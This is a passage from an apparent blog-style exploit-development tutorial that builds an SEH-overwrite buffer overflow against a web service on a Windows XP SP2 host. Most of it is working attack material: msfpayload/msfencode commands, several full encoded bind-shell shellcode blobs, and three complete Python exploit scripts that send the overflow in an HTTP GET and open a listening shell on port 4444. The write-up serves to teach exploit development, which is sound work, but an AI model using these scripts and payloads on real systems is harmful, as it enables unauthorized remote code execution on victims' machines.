# ./msfpayload windows/shell_bind_tcp lport=4444 exitfunc=seh R | ./msfencode -b"\x00\xff\x0d\x0a"
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
 
buf =
"\xda\xdd\xb8\x7b\x87\x4d\x83\xd9\x74\x24\xf4\x5b\x29\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\x87\x65\xb8\x7f" +
"\x9f\xe3\x43\x80\x5f\x94\xca\x65\x6e\x86\xa9\xee\xc2\x16" +
"\xb9\xa3\xee\xdd\xef\x57\x65\x93\x27\x57\xce\x1e\x1e\x56" +
"\xcf\xae\x9e\x34\x13\xb0\x62\x47\x47\x12\x5a\x88\x9a\x53" +
"\x9b\xf5\x54\x01\x74\x71\xc6\xb6\xf1\xc7\xda\xb7\xd5\x43" +
"\x62\xc0\x50\x93\x16\x7a\x5a\xc4\x86\xf1\x14\xfc\xad\x5e" +
"\x85\xfd\x62\xbd\xf9\xb4\x0f\x76\x89\x46\xd9\x46\x72\x79" +
"\x25\x04\x4d\xb5\xa8\x54\x89\x72\x52\x23\xe1\x80\xef\x34" +
"\x32\xfa\x2b\xb0\xa7\x5c\xb8\x62\x0c\x5c\x6d\xf4\xc7\x52" +
"\xda\x72\x8f\x76\xdd\x57\xbb\x83\x56\x56\x6c\x02\x2c\x7d" +
"\xa8\x4e\xf7\x1c\xe9\x2a\x56\x20\xe9\x93\x07\x84\x61\x31" +
"\x5c\xbe\x2b\x5e\x91\x8d\xd3\x9e\xbd\x86\xa0\xac\x62\x3d" +
"\x2f\x9d\xeb\x9b\xa8\xe2\xc6\x5c\x26\x1d\xe8\x9c\x6e\xda" +
"\xbc\xcc\x18\xcb\xbc\x86\xd8\xf4\x69\x08\x89\x5a\xc1\xe9" +
"\x79\x1b\xb1\x81\x93\x94\xee\xb2\x9b\x7e\x99\xf4\x55\x5a" +
"\xca\x92\x97\x5c\xfd\x3e\x11\xba\x97\xae\x77\x14\x0f\x0d" +
"\xac\xad\xa8\x6e\x86\x81\x61\xf9\x9e\xcf\xb5\x06\x1f\xda" +
"\x96\xab\xb7\x8d\x6c\xa0\x03\xaf\x73\xed\x23\xa6\x4c\x66" +
"\xb9\xd6\x1f\x16\xbe\xf2\xf7\xbb\x2d\x99\x07\xb5\x4d\x36" +
"\x50\x92\xa0\x4f\x34\x0e\x9a\xf9\x2a\xd3\x7a\xc1\xee\x08" +
"\xbf\xcc\xef\xdd\xfb\xea\xff\x1b\x03\xb7\xab\xf3\x52\x61" +
"\x05\xb2\x0c\xc3\xff\x6c\xe2\x8d\x97\xe9\xc8\x0d\xe1\xf5" +
"\x04\xf8\x0d\x47\xf1\xbd\x32\x68\x95\x49\x4b\x94\x05\xb5" +
"\x86\x1c\x3b\x47\x1a\x89\xac\xfe\xcf\xf0\xb0\x00\x3a\x36" +
"\xcd\x82\xce\xc7\x2a\x9a\xbb\xc2\x77\x1c\x50\xbf\xe8\xc9" +
"\x56\x6c\x08\xd8"

The shellcode we generated is 368 bytes in size which is well within the total amount of bytes we have to work with. We add this to the exploit code and attempt to exploit the vulnerable application.

#!/usr/bin/python
import socket
 
## The values that overwrite the SEH addresses
# /usr/share/metasploit-framework/tools/pattern_offset.rb 30684239
# [*] Exact match at offset 989
# /usr/share/metasploit-framework/tools/pattern_offset.rb 67423867
# [*] Exact match at offset 985
 
nseh = "\xeb\x06\x90\x90" # short jump of 6 bytes
seh = "\x7d\x03\x11\x1b" # 0x1b11037d, msjet40.dll, Windows XP Pro SP2
 
# ./msfpayload windows/shell_bind_tcp lport=4444 exitfunc=seh R | ./msfencode -b"\x00\xff\x0d\x0a"
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
shellcode = ("\xda\xdd\xb8\x7b\x87\x4d\x83\xd9\x74\x24\xf4\x5b\x29\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\x87\x65\xb8\x7f" +
"\x9f\xe3\x43\x80\x5f\x94\xca\x65\x6e\x86\xa9\xee\xc2\x16" +
"\xb9\xa3\xee\xdd\xef\x57\x65\x93\x27\x57\xce\x1e\x1e\x56" +
"\xcf\xae\x9e\x34\x13\xb0\x62\x47\x47\x12\x5a\x88\x9a\x53" +
"\x9b\xf5\x54\x01\x74\x71\xc6\xb6\xf1\xc7\xda\xb7\xd5\x43" +
"\x62\xc0\x50\x93\x16\x7a\x5a\xc4\x86\xf1\x14\xfc\xad\x5e" +
"\x85\xfd\x62\xbd\xf9\xb4\x0f\x76\x89\x46\xd9\x46\x72\x79" +
"\x25\x04\x4d\xb5\xa8\x54\x89\x72\x52\x23\xe1\x80\xef\x34" +
"\x32\xfa\x2b\xb0\xa7\x5c\xb8\x62\x0c\x5c\x6d\xf4\xc7\x52" +
"\xda\x72\x8f\x76\xdd\x57\xbb\x83\x56\x56\x6c\x02\x2c\x7d" +
"\xa8\x4e\xf7\x1c\xe9\x2a\x56\x20\xe9\x93\x07\x84\x61\x31" +
"\x5c\xbe\x2b\x5e\x91\x8d\xd3\x9e\xbd\x86\xa0\xac\x62\x3d" +
"\x2f\x9d\xeb\x9b\xa8\xe2\xc6\x5c\x26\x1d\xe8\x9c\x6e\xda" +
"\xbc\xcc\x18\xcb\xbc\x86\xd8\xf4\x69\x08\x89\x5a\xc1\xe9" +
"\x79\x1b\xb1\x81\x93\x94\xee\xb2\x9b\x7e\x99\xf4\x55\x5a" +
"\xca\x92\x97\x5c\xfd\x3e\x11\xba\x97\xae\x77\x14\x0f\x0d" +
"\xac\xad\xa8\x6e\x86\x81\x61\xf9\x9e\xcf\xb5\x06\x1f\xda" +
"\x96\xab\xb7\x8d\x6c\xa0\x03\xaf\x73\xed\x23\xa6\x4c\x66" +
"\xb9\xd6\x1f\x16\xbe\xf2\xf7\xbb\x2d\x99\x07\xb5\x4d\x36" +
"\x50\x92\xa0\x4f\x34\x0e\x9a\xf9\x2a\xd3\x7a\xc1\xee\x08" +
"\xbf\xcc\xef\xdd\xfb\xea\xff\x1b\x03\xb7\xab\xf3\x52\x61" +
"\x05\xb2\x0c\xc3\xff\x6c\xe2\x8d\x97\xe9\xc8\x0d\xe1\xf5" +
"\x04\xf8\x0d\x47\xf1\xbd\x32\x68\x95\x49\x4b\x94\x05\xb5" +
"\x86\x1c\x3b\x47\x1a\x89\xac\xfe\xcf\xf0\xb0\x00\x3a\x36" +
"\xcd\x82\xce\xc7\x2a\x9a\xbb\xc2\x77\x1c\x50\xbf\xe8\xc9" +
"\x56\x6c\x08\xd8")
 
buffer = "\x90"*985
buffer += nseh
buffer += seh
buffer += "\xcc"*20
buffer += shellcode
buffer += "\x90"*(2000-len(buffer))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.3.222', 6660))
 
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()

The corruption of the shellcode in the debugging windows.

We caused the crash again, but if we look at stack, the buffer has been modified!

  • The “\x90” have been changed to “\xBA”.
  • The next SEH has been changed to “\xBA\xBA\x2C\xC1”.
  • The SEH has been changed to “\x31\x3B\x29\x57”.
  • The “\xcc” has been changed to “\xE6”.
  • And the shellcode has been completely changed as well.

So quickly we can tell a XOR encoding or increasing the values by a set value isn’t occurring here. My reasoning was because if it the values are both increasing and decreasing so a XOR couldn’t be occurring.

# ./msfpayload windows/shell_bind_tcp lport=4444 exitfunc=seh R | ./msfencode -b"\x00\xff\x0d\x0a" -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 743 (iteration=1)
 
buf =
"\x89\xe5\xd9\xcd\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" +
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x49\x6c\x59\x78\x4f\x79\x45\x50\x73\x30\x53" +
"\x30\x73\x50\x4b\x39\x6a\x45\x56\x51\x69\x42\x33\x54\x4c" +
"\x4b\x43\x62\x66\x50\x4c\x4b\x31\x42\x66\x6c\x6e\x6b\x30" +
"\x52\x55\x44\x6c\x4b\x51\x62\x77\x58\x64\x4f\x4c\x77\x52" +
"\x6a\x44\x66\x34\x71\x49\x6f\x74\x71\x59\x50\x6c\x6c\x65" +
"\x6c\x65\x31\x33\x4c\x76\x62\x74\x6c\x61\x30\x6b\x71\x4a" +
"\x6f\x34\x4d\x63\x31\x6b\x77\x59\x72\x4a\x50\x66\x32\x61" +
"\x47\x4e\x6b\x51\x42\x32\x30\x6e\x6b\x53\x72\x55\x6c\x37" +
"\x71\x5a\x70\x4c\x4b\x33\x70\x54\x38\x6b\x35\x69\x50\x62" +
"\x54\x72\x6a\x77\x71\x48\x50\x72\x70\x4e\x6b\x42\x68\x47" +
"\x68\x4c\x4b\x66\x38\x67\x50\x36\x61\x78\x53\x7a\x43\x55" +
"\x6c\x43\x79\x6c\x4b\x66\x54\x4c\x4b\x46\x61\x79\x46\x76" +
"\x51\x49\x6f\x36\x51\x49\x50\x4c\x6c\x69\x51\x58\x4f\x56" +
"\x6d\x57\x71\x78\x47\x75\x68\x39\x70\x53\x45\x5a\x54\x35" +
"\x53\x61\x6d\x49\x68\x65\x6b\x71\x6d\x51\x34\x34\x35\x4b" +
"\x52\x43\x68\x6c\x4b\x50\x58\x75\x74\x47\x71\x69\x43\x55" +
"\x36\x6c\x4b\x76\x6c\x32\x6b\x4c\x4b\x30\x58\x47\x6c\x35" +
"\x51\x59\x43\x4c\x4b\x47\x74\x6e\x6b\x35\x51\x4e\x30\x6c" +
"\x49\x33\x74\x57\x54\x37\x54\x31\x4b\x73\x6b\x30\x61\x30" +
"\x59\x30\x5a\x62\x71\x4b\x4f\x4b\x50\x36\x38\x51\x4f\x43" +
"\x6a\x6c\x4b\x66\x72\x5a\x4b\x6f\x76\x73\x6d\x65\x38\x64" +
"\x73\x35\x62\x73\x30\x77\x70\x50\x68\x70\x77\x51\x63\x54" +
"\x72\x73\x6f\x53\x64\x33\x58\x62\x6c\x72\x57\x76\x46\x57" +
"\x77\x39\x6f\x58\x55\x6e\x58\x4e\x70\x57\x71\x57\x70\x37" +
"\x70\x74\x69\x59\x54\x30\x54\x66\x30\x52\x48\x76\x49\x4d" +
"\x50\x50\x6b\x43\x30\x39\x6f\x4a\x75\x62\x70\x62\x70\x76" +
"\x30\x72\x70\x31\x50\x30\x50\x57\x30\x50\x50\x32\x48\x49" +
"\x7a\x44\x4f\x39\x4f\x4b\x50\x4b\x4f\x39\x45\x4e\x69\x38" +
"\x47\x30\x31\x69\x4b\x31\x43\x73\x58\x36\x62\x45\x50\x34" +
"\x51\x33\x6c\x6f\x79\x38\x66\x61\x7a\x52\x30\x42\x76\x46" +
"\x37\x42\x48\x6b\x72\x6b\x6b\x34\x77\x32\x47\x79\x6f\x4a" +
"\x75\x32\x73\x56\x37\x31\x78\x6c\x77\x6a\x49\x67\x48\x4b" +
"\x4f\x79\x6f\x39\x45\x73\x63\x66\x33\x46\x37\x61\x78\x51" +
"\x64\x5a\x4c\x77\x4b\x58\x61\x79\x6f\x7a\x75\x53\x67\x6d" +
"\x59\x4b\x77\x51\x78\x52\x55\x42\x4e\x50\x4d\x73\x51\x4b" +
"\x4f\x48\x55\x43\x58\x50\x63\x52\x4d\x71\x74\x35\x50\x4d" +
"\x59\x39\x73\x66\x37\x46\x37\x30\x57\x54\x71\x78\x76\x33" +
"\x5a\x37\x62\x31\x49\x43\x66\x69\x72\x4b\x4d\x32\x46\x68" +
"\x47\x32\x64\x55\x74\x47\x4c\x73\x31\x75\x51\x4e\x6d\x72" +
"\x64\x54\x64\x46\x70\x6b\x76\x63\x30\x52\x64\x50\x54\x36" +
"\x30\x76\x36\x43\x66\x62\x76\x31\x56\x73\x66\x32\x6e\x30" +
"\x56\x31\x46\x71\x43\x46\x36\x32\x48\x30\x79\x5a\x6c\x35" +
"\x6f\x6d\x56\x6b\x4f\x58\x55\x6f\x79\x4b\x50\x50\x4e\x36" +
"\x36\x72\x66\x39\x6f\x74\x70\x50\x68\x63\x38\x4b\x37\x35" +
"\x4d\x63\x50\x59\x6f\x4b\x65\x6d\x6b\x79\x6e\x74\x4e\x45" +
"\x62\x48\x6a\x75\x38\x39\x36\x6e\x75\x4d\x6d\x6d\x4d\x59" +
"\x6f\x6b\x65\x37\x4c\x37\x76\x63\x4c\x46\x6a\x6d\x50\x59" +
"\x6b\x6b\x50\x52\x55\x35\x55\x6f\x4b\x57\x37\x62\x33\x74" +
"\x32\x72\x4f\x71\x7a\x55\x50\x32\x73\x69\x6f\x79\x45\x41" +
"\x41"

I attempted to encode the same payload using the x86/alpha_mixed encoder but we can see the shellcode exceeds our maximum byte size by 20 bytes. I also tried the x86/alpha_upper encoder but that was even larger. So next I tried a different TCP bind shell payload.

# ./msfpayload windows/shell/bind_tcp lport=4444 R |./msfencode -b "\x00\xff\x0d\x0a" -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 656 (iteration=1)
 
buf =
"\xd9\xec\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" +
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" +
"\x4a\x49\x79\x6c\x7a\x48\x4b\x39\x43\x30\x73\x30\x65\x50" +
"\x43\x50\x4f\x79\x39\x75\x66\x51\x79\x42\x30\x64\x6e\x6b" +
"\x33\x62\x44\x70\x4e\x6b\x46\x32\x76\x6c\x6c\x4b\x66\x32" +
"\x62\x34\x6e\x6b\x44\x32\x51\x38\x36\x6f\x4f\x47\x33\x7a" +
"\x36\x46\x54\x71\x79\x6f\x66\x51\x4b\x70\x6e\x4c\x67\x4c" +
"\x33\x51\x73\x4c\x34\x42\x46\x4c\x75\x70\x79\x51\x5a\x6f" +
"\x46\x6d\x65\x51\x6b\x77\x6a\x42\x6c\x30\x72\x72\x66\x37" +
"\x6e\x6b\x42\x72\x42\x30\x6c\x4b\x72\x62\x77\x4c\x36\x61" +
"\x4a\x70\x4c\x4b\x53\x70\x70\x78\x6e\x65\x4b\x70\x74\x34" +
"\x52\x6a\x46\x61\x78\x50\x72\x70\x6c\x4b\x51\x58\x66\x78" +
"\x6e\x6b\x36\x38\x77\x50\x57\x71\x79\x43\x7a\x43\x75\x6c" +
"\x43\x79\x4c\x4b\x36\x54\x4c\x4b\x75\x51\x6b\x66\x54\x71" +
"\x79\x6f\x36\x51\x49\x50\x4c\x6c\x79\x51\x78\x4f\x66\x6d" +
"\x37\x71\x38\x47\x76\x58\x6b\x50\x70\x75\x6b\x44\x53\x33" +
"\x73\x4d\x7a\x58\x57\x4b\x71\x6d\x75\x74\x32\x55\x48\x62" +
"\x62\x78\x4e\x6b\x52\x78\x34\x64\x77\x71\x48\x53\x53\x56" +
"\x6c\x4b\x74\x4c\x62\x6b\x4e\x6b\x31\x48\x77\x6c\x55\x51" +
"\x4b\x63\x6e\x6b\x47\x74\x4c\x4b\x63\x31\x38\x50\x6d\x59" +
"\x31\x54\x56\x44\x36\x44\x51\x4b\x73\x6b\x70\x61\x32\x79" +
"\x61\x4a\x46\x31\x49\x6f\x4d\x30\x56\x38\x53\x6f\x33\x6a" +
"\x6c\x4b\x52\x32\x38\x6b\x6c\x46\x53\x6d\x42\x48\x76\x53" +
"\x36\x52\x67\x70\x37\x70\x31\x78\x31\x67\x44\x33\x54\x72" +
"\x63\x6f\x76\x34\x43\x58\x42\x6c\x52\x57\x61\x36\x45\x57" +
"\x4b\x4f\x6e\x35\x4f\x48\x6a\x30\x57\x71\x37\x70\x67\x70" +
"\x47\x59\x69\x54\x73\x64\x62\x70\x65\x38\x61\x39\x6d\x50" +
"\x30\x6b\x43\x30\x79\x6f\x58\x55\x72\x70\x50\x50\x62\x70" +
"\x42\x70\x37\x30\x56\x30\x33\x70\x30\x50\x65\x38\x6a\x4a" +
"\x56\x6f\x59\x4f\x79\x70\x39\x6f\x49\x45\x4c\x57\x56\x51" +
"\x79\x4b\x33\x63\x61\x78\x54\x42\x45\x50\x32\x31\x63\x6c" +
"\x4b\x39\x69\x76\x70\x6a\x62\x30\x43\x66\x76\x37\x61\x78" +
"\x38\x42\x79\x4b\x77\x47\x51\x77\x59\x6f\x4e\x35\x50\x53" +
"\x70\x57\x33\x58\x6d\x67\x58\x69\x67\x48\x69\x6f\x39\x6f" +
"\x58\x55\x61\x43\x32\x73\x43\x67\x50\x68\x74\x34\x68\x6c" +
"\x35\x6b\x58\x61\x6b\x4f\x58\x55\x31\x47\x6e\x77\x32\x48" +
"\x54\x35\x52\x4e\x70\x4d\x53\x51\x6b\x4f\x4a\x75\x72\x4a" +
"\x43\x30\x72\x4a\x57\x74\x50\x56\x72\x77\x62\x48\x44\x42" +
"\x6e\x39\x58\x48\x33\x6f\x79\x6f\x7a\x75\x4e\x6b\x44\x76" +
"\x42\x4a\x43\x70\x75\x38\x67\x70\x46\x70\x55\x50\x47\x70" +
"\x51\x46\x43\x5a\x55\x50\x30\x68\x63\x68\x49\x34\x31\x43" +
"\x49\x75\x4b\x4f\x79\x45\x6a\x33\x61\x43\x72\x4a\x45\x50" +
"\x33\x66\x30\x53\x56\x37\x73\x58\x47\x72\x59\x49\x48\x48" +
"\x73\x6f\x49\x6f\x6b\x65\x67\x71\x4f\x33\x66\x49\x59\x56" +
"\x6e\x65\x78\x76\x72\x55\x5a\x4c\x5a\x63\x41\x41"

Bingo! This payload doesn’t exceed the maximum amount of space.

#!/usr/bin/python
import socket
 
## The values that overwrite the SEH addresses
# /usr/share/metasploit-framework/tools/pattern_offset.rb 30684239
# [*] Exact match at offset 989
# /usr/share/metasploit-framework/tools/pattern_offset.rb 67423867
# [*] Exact match at offset 985
 
nseh = "\xeb\x06\x90\x90" # short jump of 6 bytes
seh = "\x7d\x03\x11\x1b" # 0x1b11037d, msjet40.dll, Windows XP Pro SP2
 
# ./msfpayload windows/shell/bind_tcp lport=4444 R |./msfencode -b "\x00\xff\x0d\x0a" -e x86/alpha_mixed
# [*] x86/alpha_mixed succeeded with size 656 (iteration=1)
shellcode = ("\xd9\xec\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" +
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75" +
"\x4a\x49\x79\x6c\x7a\x48\x4b\x39\x43\x30\x73\x30\x65\x50" +
"\x43\x50\x4f\x79\x39\x75\x66\x51\x79\x42\x30\x64\x6e\x6b" +
"\x33\x62\x44\x70\x4e\x6b\x46\x32\x76\x6c\x6c\x4b\x66\x32" +
"\x62\x34\x6e\x6b\x44\x32\x51\x38\x36\x6f\x4f\x47\x33\x7a" +
"\x36\x46\x54\x71\x79\x6f\x66\x51\x4b\x70\x6e\x4c\x67\x4c" +
"\x33\x51\x73\x4c\x34\x42\x46\x4c\x75\x70\x79\x51\x5a\x6f" +
"\x46\x6d\x65\x51\x6b\x77\x6a\x42\x6c\x30\x72\x72\x66\x37" +
"\x6e\x6b\x42\x72\x42\x30\x6c\x4b\x72\x62\x77\x4c\x36\x61" +
"\x4a\x70\x4c\x4b\x53\x70\x70\x78\x6e\x65\x4b\x70\x74\x34" +
"\x52\x6a\x46\x61\x78\x50\x72\x70\x6c\x4b\x51\x58\x66\x78" +
"\x6e\x6b\x36\x38\x77\x50\x57\x71\x79\x43\x7a\x43\x75\x6c" +
"\x43\x79\x4c\x4b\x36\x54\x4c\x4b\x75\x51\x6b\x66\x54\x71" +
"\x79\x6f\x36\x51\x49\x50\x4c\x6c\x79\x51\x78\x4f\x66\x6d" +
"\x37\x71\x38\x47\x76\x58\x6b\x50\x70\x75\x6b\x44\x53\x33" +
"\x73\x4d\x7a\x58\x57\x4b\x71\x6d\x75\x74\x32\x55\x48\x62" +
"\x62\x78\x4e\x6b\x52\x78\x34\x64\x77\x71\x48\x53\x53\x56" +
"\x6c\x4b\x74\x4c\x62\x6b\x4e\x6b\x31\x48\x77\x6c\x55\x51" +
"\x4b\x63\x6e\x6b\x47\x74\x4c\x4b\x63\x31\x38\x50\x6d\x59" +
"\x31\x54\x56\x44\x36\x44\x51\x4b\x73\x6b\x70\x61\x32\x79" +
"\x61\x4a\x46\x31\x49\x6f\x4d\x30\x56\x38\x53\x6f\x33\x6a" +
"\x6c\x4b\x52\x32\x38\x6b\x6c\x46\x53\x6d\x42\x48\x76\x53" +
"\x36\x52\x67\x70\x37\x70\x31\x78\x31\x67\x44\x33\x54\x72" +
"\x63\x6f\x76\x34\x43\x58\x42\x6c\x52\x57\x61\x36\x45\x57" +
"\x4b\x4f\x6e\x35\x4f\x48\x6a\x30\x57\x71\x37\x70\x67\x70" +
"\x47\x59\x69\x54\x73\x64\x62\x70\x65\x38\x61\x39\x6d\x50" +
"\x30\x6b\x43\x30\x79\x6f\x58\x55\x72\x70\x50\x50\x62\x70" +
"\x42\x70\x37\x30\x56\x30\x33\x70\x30\x50\x65\x38\x6a\x4a" +
"\x56\x6f\x59\x4f\x79\x70\x39\x6f\x49\x45\x4c\x57\x56\x51" +
"\x79\x4b\x33\x63\x61\x78\x54\x42\x45\x50\x32\x31\x63\x6c" +
"\x4b\x39\x69\x76\x70\x6a\x62\x30\x43\x66\x76\x37\x61\x78" +
"\x38\x42\x79\x4b\x77\x47\x51\x77\x59\x6f\x4e\x35\x50\x53" +
"\x70\x57\x33\x58\x6d\x67\x58\x69\x67\x48\x69\x6f\x39\x6f" +
"\x58\x55\x61\x43\x32\x73\x43\x67\x50\x68\x74\x34\x68\x6c" +
"\x35\x6b\x58\x61\x6b\x4f\x58\x55\x31\x47\x6e\x77\x32\x48" +
"\x54\x35\x52\x4e\x70\x4d\x53\x51\x6b\x4f\x4a\x75\x72\x4a" +
"\x43\x30\x72\x4a\x57\x74\x50\x56\x72\x77\x62\x48\x44\x42" +
"\x6e\x39\x58\x48\x33\x6f\x79\x6f\x7a\x75\x4e\x6b\x44\x76" +
"\x42\x4a\x43\x70\x75\x38\x67\x70\x46\x70\x55\x50\x47\x70" +
"\x51\x46\x43\x5a\x55\x50\x30\x68\x63\x68\x49\x34\x31\x43" +
"\x49\x75\x4b\x4f\x79\x45\x6a\x33\x61\x43\x72\x4a\x45\x50" +
"\x33\x66\x30\x53\x56\x37\x73\x58\x47\x72\x59\x49\x48\x48" +
"\x73\x6f\x49\x6f\x6b\x65\x67\x71\x4f\x33\x66\x49\x59\x56" +
"\x6e\x65\x78\x76\x72\x55\x5a\x4c\x5a\x63\x41\x41")
 
buffer = "\x90"*985
buffer += nseh
buffer += seh
buffer += "\xcc"*20
buffer += shellcode
buffer += "\x90"*(2000-len(buffer))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.3.222', 6660))
 
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()

The new shellcode encoded with the x86/alpha_mixed encoder successfully placed on the stack and reached.

As we can see from the screenshot, we can successfully reach the shellcode. Before continuing any further, I want to check the whole shellcode is placed onto the stack correctly. When I compared the shellcode from the debugger dump and the shellcode generated I found the shellcode was completely there on the stack of the application. But when I ran the shellcode, it failed to execute in it’s entirely. So I regenerated the shellcode with the exitfunction for SEH.

#!/usr/bin/python
import socket
 
## The values that overwrite the SEH addresses
# /usr/share/metasploit-framework/tools/pattern_offset.rb 30684239
# [*] Exact match at offset 989
# /usr/share/metasploit-framework/tools/pattern_offset.rb 67423867
# [*] Exact match at offset 985
 
nseh = "\xeb\x06\x90\x90" # short jump of 6 bytes
seh = "\x7d\x03\x11\x1b" # 0x1b11037d, msjet40.dll, Windows XP Pro SP2
 
# ./msfpayload windows/shell/bind_tcp lport=4444 exitfunc=seh R |./msfencode -b "\x00\xff\x0d\x0a" -e x86/alpha_mixed
# [*] x86/alpha_mixed succeeded with size 658 (iteration=1)
shellcode = ("\x89\xe7\xda\xc4\xd9\x77\xf4\x58\x50\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x4b\x4c\x6a\x48\x6f\x79\x35\x50\x75\x50" +
"\x47\x70\x45\x30\x6c\x49\x6b\x55\x54\x71\x38\x52\x51\x74" +
"\x6c\x4b\x51\x42\x70\x30\x4e\x6b\x33\x62\x66\x6c\x4e\x6b" +
"\x31\x42\x64\x54\x4e\x6b\x33\x42\x31\x38\x66\x6f\x4c\x77" +
"\x50\x4a\x56\x46\x46\x51\x39\x6f\x50\x31\x6b\x70\x4e\x4c" +
"\x47\x4c\x50\x61\x73\x4c\x46\x62\x44\x6c\x77\x50\x39\x51" +
"\x7a\x6f\x46\x6d\x63\x31\x4b\x77\x69\x72\x58\x70\x56\x32" +
"\x51\x47\x4e\x6b\x73\x62\x74\x50\x6e\x6b\x70\x42\x45\x6c" +
"\x67\x71\x4a\x70\x6e\x6b\x73\x70\x32\x58\x4d\x55\x4f\x30" +
"\x31\x64\x51\x5a\x37\x71\x6a\x70\x56\x30\x6e\x6b\x72\x68" +
"\x37\x68\x4e\x6b\x30\x58\x31\x30\x76\x61\x6e\x33\x68\x63" +
"\x37\x4c\x52\x69\x6e\x6b\x56\x54\x4c\x4b\x77\x71\x39\x46" +
"\x66\x51\x6b\x4f\x66\x51\x39\x50\x4c\x6c\x6f\x31\x7a\x6f" +
"\x76\x6d\x46\x61\x68\x47\x35\x68\x49\x70\x43\x45\x58\x74" +
"\x57\x73\x61\x6d\x4c\x38\x77\x4b\x43\x4d\x34\x64\x61\x65" +
"\x48\x62\x52\x78\x6c\x4b\x50\x58\x55\x74\x66\x61\x4e\x33" +
"\x52\x46\x4c\x4b\x56\x6c\x62\x6b\x6c\x4b\x43\x68\x77\x6c" +
"\x55\x51\x4e\x33\x6e\x6b\x53\x34\x4e\x6b\x33\x31\x4e\x30" +
"\x6e\x69\x51\x54\x57\x54\x57\x54\x31\x4b\x63\x6b\x70\x61" +
"\x36\x39\x43\x6a\x36\x31\x4b\x4f\x69\x70\x62\x78\x31\x4f" +
"\x61\x4a\x4c\x4b\x46\x72\x78\x6b\x4b\x36\x53\x6d\x75\x38" +
"\x65\x63\x64\x72\x33\x30\x35\x50\x71\x78\x64\x37\x71\x63" +
"\x64\x72\x63\x6f\x36\x34\x52\x48\x72\x6c\x32\x57\x55\x76" +
"\x36\x67\x6b\x4f\x48\x55\x38\x38\x4a\x30\x43\x31\x43\x30" +
"\x55\x50\x61\x39\x68\x44\x61\x44\x46\x30\x33\x58\x57\x59" +
"\x6b\x30\x32\x4b\x65\x50\x69\x6f\x79\x45\x56\x30\x62\x70" +
"\x66\x30\x66\x30\x67\x30\x70\x50\x43\x70\x52\x70\x61\x78" +
"\x58\x6a\x54\x4f\x4b\x6f\x4b\x50\x4b\x4f\x4e\x35\x6a\x37" +
"\x70\x31\x49\x4b\x52\x73\x65\x38\x47\x72\x77\x70\x57\x61" +
"\x43\x6c\x6d\x59\x4d\x36\x63\x5a\x64\x50\x30\x56\x52\x77" +
"\x33\x58\x7a\x62\x4b\x6b\x36\x57\x32\x47\x79\x6f\x68\x55" +
"\x52\x73\x31\x47\x65\x38\x6c\x77\x4d\x39\x56\x58\x79\x6f" +
"\x79\x6f\x6b\x65\x71\x43\x36\x33\x70\x57\x61\x78\x64\x34" +
"\x78\x6c\x77\x4b\x59\x71\x39\x6f\x5a\x75\x56\x37\x4f\x67" +
"\x45\x38\x72\x55\x52\x4e\x42\x6d\x30\x61\x6b\x4f\x48\x55" +
"\x32\x4a\x75\x50\x52\x4a\x44\x44\x32\x76\x76\x37\x55\x38" +
"\x45\x52\x6b\x69\x79\x58\x53\x6f\x69\x6f\x5a\x75\x4e\x6b" +
"\x55\x66\x31\x7a\x77\x30\x72\x48\x47\x70\x72\x30\x33\x30" +
"\x37\x70\x63\x66\x33\x5a\x37\x70\x50\x68\x43\x68\x4c\x64" +
"\x33\x63\x6b\x55\x49\x6f\x49\x45\x6d\x43\x63\x63\x71\x7a" +
"\x77\x70\x71\x46\x42\x73\x43\x67\x62\x48\x56\x62\x4e\x39" +
"\x6f\x38\x33\x6f\x39\x6f\x4b\x65\x43\x31\x38\x43\x31\x39" +
"\x5a\x66\x6c\x45\x48\x76\x54\x35\x4a\x4c\x78\x43\x41\x41")
 
buffer = "\x90"*985
buffer += nseh
buffer += seh
buffer += "\xcc"*20
buffer += shellcode
buffer += "\x90"*(2000-len(buffer))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.3.222', 6660))
 
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()

The netstat output from the target machine with the port 4444 in a listening state.

And from the screenshot above, we can see the bindshell was executed successfully and the bind shell was listening for an incoming connection on port 4444.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6